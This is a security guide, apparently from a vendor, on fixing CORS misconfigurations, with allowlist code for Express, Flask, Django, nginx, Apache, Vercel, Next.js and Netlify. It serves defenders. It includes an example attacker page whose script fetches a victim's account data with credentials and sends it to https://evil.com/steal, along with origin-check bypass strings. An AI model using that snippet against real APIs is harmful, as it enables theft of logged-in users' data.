Security guide

How to Fix a CORS Misconfiguration

A server that echoes back the Origin request header without validating it — combined with Access-Control-Allow-Credentials: true — allows any website on the internet to make fully authenticated API calls as your logged-in users. This is one of the most commonly exploited server-side misconfigurations. Here is what each pattern looks like, why it is dangerous, and how to fix it.

• How CORS works
• The five dangerous patterns
• When wildcard is safe
• Correct allowlist implementation
• Deploy on your platform
• Verify with HardenCheck
• FAQ

How CORS works

The same-origin policy is the browser’s default rule: JavaScript on https://app.example.com cannot read the response from a fetch to https://api.example.com unless the API server explicitly says it allows it. Cross-Origin Resource Sharing (CORS) is the mechanism that allows servers to grant those permissions via HTTP response headers.

When a browser issues a cross-origin request, the server’s response must include an Access-Control-Allow-Origin header naming the requesting origin (or *) before the browser will hand the response to JavaScript. For requests that include credentials (cookies, HTTP auth headers, or TLS client certificates), the server must also include Access-Control-Allow-Credentials: true and cannot use * as the origin value — it must name the exact origin.

The security assumption is that the server will only grant this permission to origins it trusts. When that assumption breaks down, CORS becomes an attack surface instead of a control.

The five dangerous patterns

# What the attack looks like on the wire
Request:  Origin: https://evil.com
Response: Access-Control-Allow-Origin: https://evil.com
          Access-Control-Allow-Credentials: true

# These checks are all bypassable
if (origin.endsWith('.example.com'))   → bypassed by https://evilexample.com
if (origin.startsWith('https://example.com'))  → bypassed by https://example.com.evil.com
if (origin.includes('example.com'))   → bypassed by both of the above

<!-- Attacker's page at https://evil.com -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
  <script>
    fetch('https://api.victim.com/account', {credentials: 'include'})
      .then(r => r.json()).then(data => {
        fetch('https://evil.com/steal?d=' + JSON.stringify(data));
      });
  </script>
"></iframe>

# Overly permissive (avoid)
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *

# Correct — list only what you need
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With

When Access-Control-Allow-Origin: * is safe

A wildcard CORS policy is appropriate in exactly one scenario: a public endpoint serving genuinely public data that requires no authentication.

Correct allowlist implementation

The pattern is the same in every language: maintain a hard-coded set of trusted origins, use strict equality to test the incoming Origin header, and only reflect an origin that passes the test.

Node.js / Express

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://www.example.com',
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    return res.status(204).end();
  }
  next();
});

Python (Flask)

from flask import Flask, request, make_response

ALLOWED_ORIGINS = {
    'https://app.example.com',
    'https://www.example.com',
}

@app.after_request
def add_cors_headers(response):
    origin = request.headers.get('Origin', '')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Vary'] = 'Origin'
    return response

Python (Django)

Use django-cors-headers and set these in settings.py:

CORS_ALLOWED_ORIGINS = [
    'https://app.example.com',
    'https://www.example.com',
]
CORS_ALLOW_CREDENTIALS = True
# Never use CORS_ALLOW_ALL_ORIGINS = True with CORS_ALLOW_CREDENTIALS = True

Deploy on your platform

For static sites and API gateways, the CORS configuration lives in your hosting provider’s config rather than application code. The same rule applies: list exact origins, never reflect dynamically.

nginx

map $http_origin $cors_origin {
    default                        "";
    "https://app.example.com"      $http_origin;
    "https://www.example.com"      $http_origin;
}

server {
    add_header Access-Control-Allow-Origin  $cors_origin always;
    add_header Access-Control-Allow-Credentials "true" always;
    add_header Vary "Origin" always;

    location / {
        if ($request_method = OPTIONS) {
            add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
            add_header Access-Control-Allow-Headers "Content-Type, Authorization";
            add_header Access-Control-Max-Age 86400;
            return 204;
        }
    }
}

Apache (.htaccess)

SetEnvIf Origin "^https://(app|www)\.example\.com$" CORS_ALLOW=1
Header always set Access-Control-Allow-Origin "%{HTTP_ORIGIN}e" env=CORS_ALLOW
Header always set Access-Control-Allow-Credentials "true" env=CORS_ALLOW
Header always set Vary "Origin"

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} OPTIONS
  RewriteRule ^(.*)$ $1 [R=204,L]
</IfModule>

Note: use a tightly anchored regex (^ start, $ end, escaped \. for literal dots). A loose regex creates the same bypass risk as substring matching.

Vercel (vercel.json)

Vercel does not support dynamic Access-Control-Allow-Origin (origin-dependent values) in vercel.json headers, since headers are static strings. For multi-origin CORS on Vercel, handle it in an API function (Edge or Serverless):

// api/data.js (Vercel Serverless Function)
const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://www.example.com',
]);

export default function handler(req, res) {
  const origin = req.headers.origin || '';
  if (ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
  }
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    return res.status(204).end();
  }
  res.json({ data: 'hello' });
}

For single-origin CORS (one frontend, one API), you can set a static Access-Control-Allow-Origin value in vercel.json without Vary:

{
  "headers": [
    {
      "source": "/api/(.*)",
      "headers": [
        { "key": "Access-Control-Allow-Origin", "value": "https://app.example.com" },
        { "key": "Access-Control-Allow-Credentials", "value": "true" }
      ]
    }
  ]
}

Next.js (next.config.js)

// For a single allowed origin, set it statically:
module.exports = {
  async headers() {
    return [
      {
        source: '/api/:path*',
        headers: [
          { key: 'Access-Control-Allow-Origin', value: 'https://app.example.com' },
          { key: 'Access-Control-Allow-Credentials', value: 'true' },
          { key: 'Access-Control-Allow-Methods', value: 'GET, POST, OPTIONS' },
          { key: 'Access-Control-Allow-Headers', value: 'Content-Type, Authorization' },
        ],
      },
    ];
  },
};

For multiple origins, handle CORS in a middleware (middleware.ts) or in each route handler, where you can do the allowlist equality check before setting the header.

Netlify (_headers file)

Netlify _headers files support static values only. For a single origin:

/api/*
  Access-Control-Allow-Origin: https://app.example.com
  Access-Control-Allow-Credentials: true

For multiple origins on Netlify, use a Netlify Edge Function to perform the allowlist check and set the header dynamically.

Verify with HardenCheck

To check your API’s CORS configuration with HardenCheck, paste the response headers from an actual cross-origin request to your API — not just your homepage headers. You can capture them in Chrome DevTools (Network tab → select the API request → Response Headers) or with curl:

curl -I -H "Origin: https://evil.com" https://api.yoursite.com/endpoint

Look at the Access-Control-Allow-Origin value in the response. If it reads https://evil.com (the origin you sent), the server is reflecting the origin unconditionally. HardenCheck flags Access-Control-Allow-Origin: * on responses that also set Access-Control-Allow-Credentials: true, and notes when origin reflection is detected in the pasted headers.

Check my headers with HardenCheck →

Frequently asked questions

Also in the Copper Bay Labs ship-safety suite

CORS is one of several security header and configuration topics HardenCheck covers — here are guides for the others: